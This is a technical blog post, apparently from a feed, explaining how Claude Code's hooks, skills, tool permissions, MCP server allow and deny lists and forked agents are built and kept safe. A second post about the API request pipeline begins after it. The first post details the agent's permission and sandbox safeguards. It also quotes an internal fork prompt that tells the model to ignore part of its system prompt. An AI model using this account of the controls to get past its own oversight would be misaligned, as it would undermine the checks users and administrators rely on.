&lt;p&gt;Enterprise policy can lock hooks to managed-only (&lt;code&gt;allowManagedHooksOnly&lt;/code&gt;), meaning only admin-defined hooks execute. Non-managed settings can't override this — the check happens in the snapshot capture, not at execution time.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trade-Off: Safety Over Convenience
&lt;/h3&gt;

&lt;p&gt;SessionEnd hooks get a 1.5-second timeout (configurable via environment variable), not the 10-minute default. The reasoning: session teardown must be fast. A hook that takes 30 seconds to run would make "close the terminal" feel broken. This means complex cleanup (uploading logs, syncing state) must be designed to complete quickly or run asynchronously — a constraint that occasionally frustrates users but keeps the exit path responsive.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 3: Skills — Reusable Prompt Modules
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem It Solves
&lt;/h3&gt;

&lt;p&gt;You have a 500-line review checklist, a commit message template, or a complex deployment procedure. You want the model to follow it exactly when invoked, but you don't want it consuming context on every turn.&lt;/p&gt;

&lt;h3&gt;
  
  
  Progressive Disclosure
&lt;/h3&gt;

&lt;p&gt;Skills use a three-level disclosure strategy to manage context:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Level 1 — Metadata only (always loaded):&lt;/strong&gt; The skill's name, description, and &lt;code&gt;when_to_use&lt;/code&gt; field are injected into the system prompt's skill listing. This costs ~50-100 tokens per skill. A budget cap (1% of context window, ~8KB) limits total skill metadata — if you have 200 skills, descriptions get truncated. Bundled skills (compiled into the binary) are never truncated; user skills are truncated first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Level 2 — Tool prompt:&lt;/strong&gt; When the model decides to invoke a skill, it calls the Skill tool with the skill name. The tool validates the name, checks permissions, and returns a "launching skill" placeholder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Level 3 — Full content:&lt;/strong&gt; The skill's complete markdown body is loaded, argument substitution is applied (&lt;code&gt;$1&lt;/code&gt;, &lt;code&gt;$2&lt;/code&gt;, &lt;code&gt;${CLAUDE_SESSION_ID}&lt;/code&gt;), inline shell commands are executed (if not from an MCP source), and the result is injected as new conversation messages. Only now does the full 500-line checklist enter the context.&lt;/p&gt;

&lt;p&gt;This means 200 skills cost ~8KB of ongoing context, and only the invoked skill's full body enters the conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Skill Format
&lt;/h3&gt;

&lt;p&gt;A skill lives in a directory: &lt;code&gt;.claude/skills/my-skill/SKILL.md&lt;/code&gt;. The file uses YAML frontmatter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Review code for security vulnerabilities&lt;/span&gt;
&lt;span class="na"&gt;allowed-tools&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Bash, Read, Grep&lt;/span&gt;
&lt;span class="na"&gt;model&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;opus&lt;/span&gt;
&lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;src/security/**&lt;/span&gt;
&lt;span class="na"&gt;context&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;fork&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;

Review the following code for OWASP Top 10 vulnerabilities...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key frontmatter fields:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;allowed-tools&lt;/code&gt; — which tools the skill can use (added to permission rules)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;model&lt;/code&gt; — model override (&lt;code&gt;opus&lt;/code&gt;, &lt;code&gt;sonnet&lt;/code&gt;, &lt;code&gt;haiku&lt;/code&gt;, or &lt;code&gt;inherit&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;paths&lt;/code&gt; — conditional activation (skill only available when working on matching files)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;context: fork&lt;/code&gt; — execute in an isolated subagent instead of inline&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;user-invocable&lt;/code&gt; — whether the user can type &lt;code&gt;/skill-name&lt;/code&gt; (default: true)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;hooks&lt;/code&gt; — scoped hooks that only apply during skill execution&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Conditional Skills
&lt;/h3&gt;

&lt;p&gt;Skills with &lt;code&gt;paths&lt;/code&gt; frontmatter start dormant. They're stored in a separate map, not exposed to the model. When a file operation touches a path matching the skill's pattern, the skill activates — it moves to the dynamic skills map and becomes available. This is the same gitignore-style matching used by CLAUDE.md conditional rules.&lt;/p&gt;

&lt;p&gt;Why not just load all skills? Token budget. A project with 50 path-specific skills would waste context on skills irrelevant to the current work. Conditional activation means the model only sees skills relevant to the files it's actually touching.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dynamic Discovery
&lt;/h3&gt;

&lt;p&gt;When the model reads or writes a file in a subdirectory, the system walks upward from that file looking for &lt;code&gt;.claude/skills/&lt;/code&gt; directories. Newly discovered skill directories are loaded and merged into the dynamic skills map. This enables monorepo patterns where each package has its own skills.&lt;/p&gt;

&lt;p&gt;Security: discovered directories are checked against &lt;code&gt;.gitignore&lt;/code&gt;. A skill directory inside &lt;code&gt;node_modules/&lt;/code&gt; is skipped — this prevents dependency packages from injecting skills.&lt;/p&gt;

&lt;h3&gt;
  
  
  Inline Shell Execution
&lt;/h3&gt;

&lt;p&gt;Skills can contain inline shell commands using &lt;code&gt;!&lt;/code&gt; syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Current git branch: !&lt;span class="sb"&gt;`git branch --show-current`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the skill body is loaded, these commands execute and their output replaces the command syntax. MCP-sourced skills (remote, potentially untrusted) have shell execution disabled entirely — a hard security boundary. The check is a simple conditional: if the skill's &lt;code&gt;loadedFrom&lt;/code&gt; field is &lt;code&gt;'mcp'&lt;/code&gt;, shell execution is skipped.&lt;/p&gt;

&lt;h3&gt;
  
  
  Permission Model
&lt;/h3&gt;

&lt;p&gt;The first time a skill is invoked by the model, the user is prompted. The permission check supports:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deny rules (exact or prefix match) → block permanently&lt;/li&gt;
&lt;li&gt;Allow rules (exact or prefix match) → allow permanently&lt;/li&gt;
&lt;li&gt;"Safe properties" auto-allow → skills that only set metadata (model, effort) and don't add tools or hooks are auto-approved&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Default: ask. Unknown skills always prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bundled Skill Security
&lt;/h3&gt;

&lt;p&gt;Skills compiled into the binary extract their reference files to a temporary directory at runtime. The extraction uses &lt;code&gt;O_EXCL | O_NOFOLLOW&lt;/code&gt; flags (POSIX) — the file must not already exist and symlinks are rejected. A per-process nonce in the directory path prevents pre-created symlink attacks. Path traversal protection rejects absolute paths and &lt;code&gt;..&lt;/code&gt; components.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 4: The Tool Pool — Assembly and Permissions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem It Solves
&lt;/h3&gt;

&lt;p&gt;The model needs a unified set of tools — built-in (Read, Write, Bash, Agent) plus external (MCP servers, IDE integrations). But which tools are available, and who controls access?&lt;/p&gt;

&lt;h3&gt;
  
  
  Assembly
&lt;/h3&gt;

&lt;p&gt;The tool pool is assembled from two sources:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;built_in_tools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_registered_tools&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;permission_context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mcp_tools&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;filter_by_deny_rules&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_mcp_tools&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;permission_context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;deduplicate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;built_in_tools&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mcp_tools&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three properties are maintained:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Built-ins always win&lt;/strong&gt; — if an MCP tool has the same name as a built-in, the built-in takes precedence (deduplication preserves first occurrence)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stable sort order&lt;/strong&gt; — tools are sorted alphabetically within each partition, keeping built-ins as a contiguous prefix. This is critical for prompt caching: the server places a cache breakpoint after the last built-in tool. If MCP tools interleaved with built-ins, adding one MCP tool would invalidate all cached tool definitions downstream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deny rules are absolute&lt;/strong&gt; — a tool in the deny list is removed regardless of source&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  MCP Tool Namespacing
&lt;/h3&gt;

&lt;p&gt;External tools are namespaced to prevent collisions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mcp__github__create_issue
mcp__jira__create_ticket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pattern is &lt;code&gt;mcp__&amp;lt;server&amp;gt;__&amp;lt;tool&amp;gt;&lt;/code&gt;. Server and tool names are normalized: dots, spaces, and special characters become underscores. This namespacing means an MCP server can't shadow a built-in tool — &lt;code&gt;mcp__evil__Read&lt;/code&gt; is a different tool from &lt;code&gt;Read&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  IDE Tool Filtering
&lt;/h3&gt;

&lt;p&gt;IDE extensions connect via MCP but have restricted access. Only two specific IDE tools are exposed to the model — the rest are blocked. This prevents an IDE extension from registering a tool named &lt;code&gt;Bash&lt;/code&gt; that bypasses the bash security analyzer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 5: MCP — External Tool Servers
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem It Solves
&lt;/h3&gt;

&lt;p&gt;You want to give the model access to your internal APIs, databases, or third-party services. These capabilities live in separate processes — potentially remote — and need their own lifecycle, authentication, and error recovery.&lt;/p&gt;

&lt;h3&gt;
  
  
  Transport Types
&lt;/h3&gt;

&lt;p&gt;MCP servers connect via six transport types:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;stdio&lt;/strong&gt; — local child process (default, most common)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSE&lt;/strong&gt; — Server-Sent Events (authenticated remote)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP&lt;/strong&gt; — Streamable HTTP (MCP spec 2025-03-26)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WebSocket&lt;/strong&gt; — bidirectional streaming&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SDK&lt;/strong&gt; — in-process (managed by the SDK)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;claude.ai proxy&lt;/strong&gt; — remote servers bridged through a proxy with OAuth&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Configuration Hierarchy
&lt;/h3&gt;

&lt;p&gt;Like CLAUDE.md, MCP server configs merge from multiple sources:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Enterprise    → exclusive control when present (blocks all others)
Local         → .claude/mcp.json in working directory
Project       → claude.json in project root
User          → ~/.claude/mcp.json
Dynamic       → SDK-provided servers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When an enterprise config exists, it has total control. Other scopes are blocked. This is the nuclear option for organizations that need to control exactly which external services the model can access.&lt;/p&gt;

&lt;h3&gt;
  
  
  Enterprise Allowlist/Denylist
&lt;/h3&gt;

&lt;p&gt;Policy settings define three types of allowlist entries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Name-based&lt;/strong&gt;: &lt;code&gt;{serverName: "github"}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Command-based&lt;/strong&gt;: &lt;code&gt;{serverCommand: ["node", "path/to/mcp.js"]}&lt;/code&gt; (for stdio servers)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;URL-based&lt;/strong&gt;: &lt;code&gt;{serverUrl: "https://mcp.example.com"}&lt;/code&gt; (for remote servers)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The denylist always wins. A server matching any deny entry is blocked regardless of allowlist membership. If the allowlist exists but is empty, all servers are blocked. If the allowlist is undefined, all servers are allowed. This three-state logic (undefined/empty/populated) gives administrators precise control.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connection and Timeout
&lt;/h3&gt;

&lt;p&gt;Servers are connected with a 30-second timeout. Connection is batched: 3 local servers in parallel, 20 remote servers in parallel. If a server fails to connect, it enters a failure state but doesn't block other servers.&lt;/p&gt;

&lt;p&gt;Tool calls have a separate timeout — nearly 28 hours by default (configurable). This allows long-running operations (database migrations, large builds) without arbitrary cutoffs. Progress is logged every 30 seconds so the user knows something is happening.&lt;/p&gt;

&lt;h3&gt;
  
  
  Session Expiry and Recovery
&lt;/h3&gt;

&lt;p&gt;Remote servers have stateful sessions. When a session expires, the server returns a 404 with JSON-RPC error code -32001, or the connection closes with error -32000. The client detects both cases, clears the connection cache, and throws a session-expired error. The next tool call will transparently reconnect.&lt;/p&gt;

&lt;p&gt;Authentication failures (401) follow a parallel path: the client status updates to "needs-auth," tokens are cached with a 15-minute TTL, and the next connection attempt triggers a token refresh. OAuth flows support step-up authentication — a 403 response triggers a re-authentication challenge before the SDK's default handler fires.&lt;/p&gt;

&lt;p&gt;A more subtle failure: URL elicitation. Some MCP servers require the user to visit a URL to authorize an action (OAuth consent, MFA challenge). The server returns error code -32042 with a completion URL. The client emits an elicitation request, waits indefinitely for the user to complete the flow, then retries the original tool call. This is a blocking wait — but since it's triggered by a user-facing auth requirement, the blocking is intentional.&lt;/p&gt;

&lt;h3&gt;
  
  
  Error Boundaries
&lt;/h3&gt;

&lt;p&gt;MCP server errors never contain sensitive data. All error messages are wrapped in a telemetry-safe type that strips user code and file paths. Server stderr is buffered to a 64 MB cap to prevent unbounded memory growth from a chatty or malicious server. When a stdio server crashes (ECONNRESET), the error message says "Server may have crashed or restarted" — not the actual stderr contents.&lt;/p&gt;




&lt;h2&gt;
  
  
  Layer 6: Agents — Delegated Execution
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Problem It Solves
&lt;/h3&gt;

&lt;p&gt;You want the model to research a codebase in the background while you keep working. You want it to delegate a complex task to a specialist (an "Explore" agent that only searches, a "Plan" agent that only designs). You want multiple agents working in parallel on different parts of a refactor.&lt;/p&gt;

&lt;h3&gt;
  
  
  Three Execution Models
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Synchronous subagents&lt;/strong&gt; share the parent's abort controller. When the user presses Ctrl+C, both parent and child stop. The child's state mutations (tool approvals, file reads) propagate to the parent via shared &lt;code&gt;setAppState&lt;/code&gt;. The child runs inline — the parent waits for it to finish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Async background agents&lt;/strong&gt; get their own abort controller. The parent continues working. The child's state mutations are isolated — a separate denial counter, separate tool decisions. When the child finishes, its result is delivered as a notification. Permission prompts are auto-denied (the child can't show UI) unless the agent runs in "bubble" mode, where prompts surface in the parent's terminal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Teammates&lt;/strong&gt; are full separate processes (via tmux split-pane or iTerm2) or in-process runners isolated via AsyncLocalStorage. Each teammate has its own conversation history, its own model, its own abort controller. Communication happens through a file-based mailbox — JSON messages written to a shared team directory. The team lead writes a prompt to a teammate's inbox; the teammate polls it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Context Isolation
&lt;/h3&gt;

&lt;p&gt;Every agent gets its own &lt;code&gt;ToolUseContext&lt;/code&gt; — a structure containing the conversation, tool pool, permissions, abort controller, file state cache, and callbacks. The isolation strategy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;readFileState     → cloned (cache sharing for prompt cache hits)
abortController   → shared (sync) or new (async)
setAppState       → shared (sync) or no-op (async)
messages          → stripped for teammates (they build their own)
tool decisions    → fresh (no leaking parent's approve/deny history)
MCP clients       → merged (parent + agent-specific servers)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The critical insight is that cloning &lt;code&gt;readFileState&lt;/code&gt; isn't about correctness — it's about cache hits. When a forked agent makes an API call, the server checks whether the message prefix matches a cached prefix. If the fork and parent have different file state caches, they'll make different tool-result replacement decisions, producing different message bytes and missing the cache. Cloning ensures byte-identical prefixes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cache-Safe Forking
&lt;/h3&gt;

&lt;p&gt;After every turn, the parent saves its "cache-safe parameters" — system prompt, user context, system context, tool definitions, and conversation messages. When a fork is created, it retrieves these parameters and uses them directly. The fork's API request starts with a byte-identical prefix, and only the fork's new prompt differs. The server recognizes the shared prefix and reads it from cache — potentially saving 90%+ on input costs for the fork.&lt;/p&gt;

&lt;p&gt;This is why fork children inherit the parent's exact tool pool (&lt;code&gt;useExactTools: true&lt;/code&gt;) and thinking config. Changing even one tool definition would alter the tool schema bytes, breaking the prefix match.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool Filtering
&lt;/h3&gt;

&lt;p&gt;Each agent definition can specify allowed and disallowed tools:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;tools&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Read&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Grep&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Glob&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Bash&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;          &lt;span class="s"&gt;→ only these tools available&lt;/span&gt;
&lt;span class="na"&gt;disallowed_tools&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Write&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Edit&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Agent&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;    &lt;span class="s"&gt;→ these removed from pool&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resolution:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start with the full tool pool&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;tools&lt;/code&gt; is specified and not &lt;code&gt;['*']&lt;/code&gt;, filter to only listed tools (plus always-included tools like the stop tool)&lt;/li&gt;
&lt;li&gt;Remove any tools in &lt;code&gt;disallowed_tools&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Remove agent-disallowed tools (Agent tool itself for non-fork agents, plan mode tools)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Read-only agents like Explore and Plan additionally skip CLAUDE.md (saves ~5-15 Gtok/week fleet-wide) and git status (stale snapshot, they'll run &lt;code&gt;git status&lt;/code&gt; themselves if needed).&lt;/p&gt;

&lt;h3&gt;
  
  
  Permission Bubbling
&lt;/h3&gt;

&lt;p&gt;When an agent needs a permission decision:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sync agents&lt;/strong&gt;: The prompt surfaces in the parent's terminal. The user approves or denies. The decision propagates to the child's permission context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Async agents in bubble mode&lt;/strong&gt;: Same as sync — the prompt surfaces in the parent's terminal, but the agent waits asynchronously. Automated checks (permission classifier, hooks) run first; the user is only interrupted when automation can't resolve it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Async agents without bubble&lt;/strong&gt;: Permissions are auto-denied. The agent must work within its pre-approved tool rules.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Teammates&lt;/strong&gt;: Permission mode is inherited via CLI flags when spawning the process. &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; propagates — but not when plan mode is required (a safety interlock).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Fork Recursion Guard
&lt;/h3&gt;

&lt;p&gt;Fork children keep the Agent tool in their tool pool (for cache-identical tool definitions), but recursive forking is blocked at call time. The system scans the conversation history for a boilerplate tag injected into every fork child's first message. If found, the agent is already a fork — further forking is rejected.&lt;/p&gt;

&lt;p&gt;The boilerplate itself is instructive. Every fork child receives a message that begins:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;STOP. READ THIS FIRST.

You are a forked worker process. You are NOT the main agent.

RULES (non-negotiable):
1. Your system prompt says "default to forking." IGNORE IT — that's for
   the parent. You ARE the fork. Do NOT spawn sub-agents; execute directly.
2. Do NOT converse, ask questions, or suggest next steps
3. USE your tools directly: Bash, Read, Write, etc.
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prompt engineering is a defense-in-depth against the model's tendency to delegate. The system prompt (inherited from the parent for cache reasons) may contain instructions to fork work. The boilerplate overrides those instructions at the conversation level — later in the message sequence, higher priority.&lt;/p&gt;

&lt;h3&gt;
  
  
  Worktree Isolation
&lt;/h3&gt;

&lt;p&gt;Agents can be spawned with &lt;code&gt;isolation: "worktree"&lt;/code&gt;, which creates a separate git worktree — a full copy of the repository on a separate branch. The agent operates in this isolated copy: writes don't affect the parent's files, and the parent's subsequent edits don't corrupt the agent's state.&lt;/p&gt;

&lt;p&gt;When a worktree agent inherits conversation context from the parent, all file paths in that context refer to the parent's working directory. The system injects a notice telling the agent to translate paths, re-read files before editing (they may have changed since the parent saw them), and understand that changes are isolated.&lt;/p&gt;

&lt;h3&gt;
  
  
  Max Turns and Cleanup
&lt;/h3&gt;

&lt;p&gt;Every agent has a turn limit (default varies by agent type, capped by definition). When the limit is reached, the agent receives a &lt;code&gt;max_turns_reached&lt;/code&gt; attachment and stops. The cleanup sequence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Close agent-specific MCP servers (only newly created ones, not shared)
2. Remove scoped hooks registered by the agent's frontmatter
3. Clear prompt cache tracking state
4. Release cloned file state cache
5. Free conversation messages (GC)
6. Remove Perfetto trace registration
7. Clear transcript routing
8. Kill background bash tasks spawned by this agent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This cleanup happens in a &lt;code&gt;finally&lt;/code&gt; block — it runs whether the agent succeeded, failed, or was aborted.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Full Pipeline
&lt;/h2&gt;

&lt;p&gt;When you type a message, here's what happens to the extension systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. CLAUDE.md files discovered and loaded (6-tier hierarchy)
   → Instructions injected as system-reminder in user message

2. UserPromptSubmit hooks fire
   → Can block the prompt, inject additional context, or modify it

3. System prompt assembled with skill metadata
   → ~50-100 tokens per skill, budget-capped at 1% of context

4. Tool pool assembled (built-in + MCP, sorted, deduplicated)
   → Deny rules applied, built-ins win on name conflict

5. Model generates response, calls tools
   → PreToolUse hooks fire before each tool (can block, allow, modify input)
   → PostToolUse hooks fire after each tool (can inject context)

6. Model invokes a Skill
   → Permission check → full body loaded → argument substitution
   → Shell commands executed (unless MCP source) → content injected

7. Model spawns an Agent
   → Isolated context created → tools filtered → MCP servers merged
   → Hooks scoped → query loop runs → results returned

8. Session ends
   → SessionEnd hooks fire (1.5-second timeout)
   → MCP servers disconnected → agent cleanup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every layer is fail-closed. Unknown CLAUDE.md extensions are skipped. Unknown hook events are ignored. Unknown skill types are rejected. Unknown MCP tools are filtered by deny rules. Unknown agent types are blocked at validation. The system doesn't need to anticipate every new extension type — it only needs to correctly handle the ones it explicitly supports. Everything else gets a "no."&lt;/p&gt;

&lt;p&gt;The alternative — a blocklist approach where you enumerate what's dangerous — means every new extension type is a zero-day. The allowlist approach means every new extension type starts with "ask the user." That's the fundamental trade-off: a slight friction on adoption in exchange for a structural guarantee that surprises are visible.&lt;/p&gt;

</description>
      <category>claudecode</category>
      <category>architecture</category>
      <category>mcp</category>
      <category>aiagents</category>
    </item>
    <item>
      <title>What Happens When Claude Code Calls the API</title>
      <dc:creator>Laurent DeSegur</dc:creator>
      <pubDate>Wed, 08 Apr 2026 02:27:32 +0000</pubDate>
      <link>https://dev.to/oldeucryptoboi/what-happens-when-claude-code-calls-the-api-3ngo</link>
      <guid>https://dev.to/oldeucryptoboi/what-happens-when-claude-code-calls-the-api-3ngo</guid>
      <description>&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;You type a message. The model needs to see it, along with every previous message, the system prompt, tool schemas, and various configuration. That context gets serialized into an HTTP request, sent to a remote server, and a response streams back as server-sent events. Simple enough — until you consider everything that can go wrong.&lt;/p&gt;

&lt;p&gt;The server can be overloaded (529). Your credentials can expire mid-session. The response can be too long for the context window. The connection can go stale. The server can tell you to back off for five minutes, or five hours. The model can try to call a tool that failed three turns ago. Your cache — the thing saving you 90% on input costs — can silently break because a tool schema changed.&lt;/p&gt;

&lt;p&gt;The naive approach is: send request, get response, show to user. One function, maybe a try/catch. This fails because a single API call in an agentic loop is not a one-shot operation. It's the inner loop of a system that runs for hours, making hundreds of calls, where each call builds on the state of every previous call. A retry strategy that works for a one-shot chatbot (wait and retry) causes cascading amplification in a capacity crisis. A token counter that's off by 5% will eventually overflow the context window. A cache break you don't detect silently triples your costs.&lt;/p&gt;

&lt;p&gt;The design principle is &lt;strong&gt;defense in depth with fail-visible defaults&lt;/strong&gt;. Every failure should either be recovered automatically or surfaced to the user with a specific recovery action. Silent failures — where the system degrades without anyone noticing — are the enemy. Cache breaks get detected and logged. Token counts get cross-checked against API-reported usage. Retry decisions consider not just "can we retry" but "should we, given what everyone else is doing right now."&lt;/p&gt;

&lt;p&gt;This article traces the full client-side pipeline: request construction, caching, retries, streaming, error recovery, cost tracking, and rate limit management. Everything here is verifiable from the source code. The server side — tokenization, routing, inference, post-processing — is invisible to the client and won't be covered.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building the Request
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The System Prompt
&lt;/h3&gt;

&lt;p&gt;Consider what the model needs to know before it sees your message. Its identity, its behavioral rules, what tools it has, how to use them, what tone to take, what language to write in, what project it's working on, what it remembered from previous sessions, what MCP servers are connected. This is the system prompt — a multi-kilobyte payload assembled from ~15 separate section generators.&lt;/p&gt;

&lt;p&gt;The prompt has a deliberate physical layout. Everything that stays constant across turns — identity, coding guidelines, tool instructions, style rules — sits at the top. Everything that changes per turn — memory, language preferences, environment info, MCP instructions — sits at the bottom, after an internal boundary marker.&lt;/p&gt;

&lt;p&gt;Why this split? The API caches the prompt prefix. On turn 2, the server recognizes the cached prefix and reads it cheaply. If a dynamic section (say, updated memory) sat in the middle, it would invalidate everything after it. By putting all dynamic content at the end, the stable prefix stays cached and only the changing tail incurs write costs.&lt;/p&gt;

